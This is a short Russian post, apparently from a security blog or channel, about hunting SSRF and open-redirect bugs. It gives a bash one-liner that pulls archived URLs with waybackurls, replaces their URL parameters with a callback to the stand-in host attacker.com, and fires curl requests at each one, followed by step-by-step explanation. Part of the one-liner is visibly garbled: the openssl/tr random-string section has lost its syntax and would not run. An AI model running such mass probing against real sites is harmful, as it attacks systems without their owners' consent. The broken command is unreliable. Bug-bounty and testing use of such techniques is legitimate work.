Всем привет!
Небольшая заметка про поиск SSRF и Open Redirect😁 в составе пайплайнов автоматизации
waybackurls target.com | grep -E "/https?://|=https?://|=/.*" | while read url; do random=(opensslrand−base646∣tr−d ′ /+ ′ );murl=(echo $url | sed -E "s/(/|=)(https?://[^/&?]+)/\1http://attacker.com/$random/g;s/=/[^&]+/=http://attacker.com/$random/g") && echo "Requesting: $murl" && curl -so /dev/null --connect-timeout 5 "$murl"; done
🔴Этот bash скрипт использует утилиту
waybackurls, чтобы получить список всех известных url для заданного домена target.com из архива Wayback Machine.
🔴 Фильтрует полученные url c помощью регулярки, оставляя только потенциально уязвимые, которые содержат:
/https://example.com, ?url=http://example.com и ?url=/example
🔴 Для каждого url из списка генерирует случайную строку длиной 6 символов с помощью openssl rand, заворачивает в base64 и удаляет символы / и + на выходе получается что-то такое -a1b2c3
🔴 Модифицирует каждый url, заменяя:
http://example.com на /http://attacker.com/random.
http://example.com на =http://attacker.com/random.
/example на =http://attacker.com/random
🔴 Выводит в консоль модифицированный url перед отправкой запроса либо сохраняет в файл echo "$(date '+%Y-%m-%d %H:%M:%S') Requesting: $murl" | tee -a log.txt
🔴 Отправляет запросы с помощью curl c ограничением время ответа 5 сек, чтобы логировать статус коды ответов можно добавить:
http_code=$(curl -so /dev/null --connect-timeout 5 -w "%{http_code}" "$murl")
echo "$(date '+%Y-%m-%d %H:%M:%S') Response [$http_code] from: $murl" >> responses.txt
В качестве сервера атакующего, чтобы ловить отстуки можно использовать что угодно, начиная от Burp Collaborator до
interactsh на своем домене.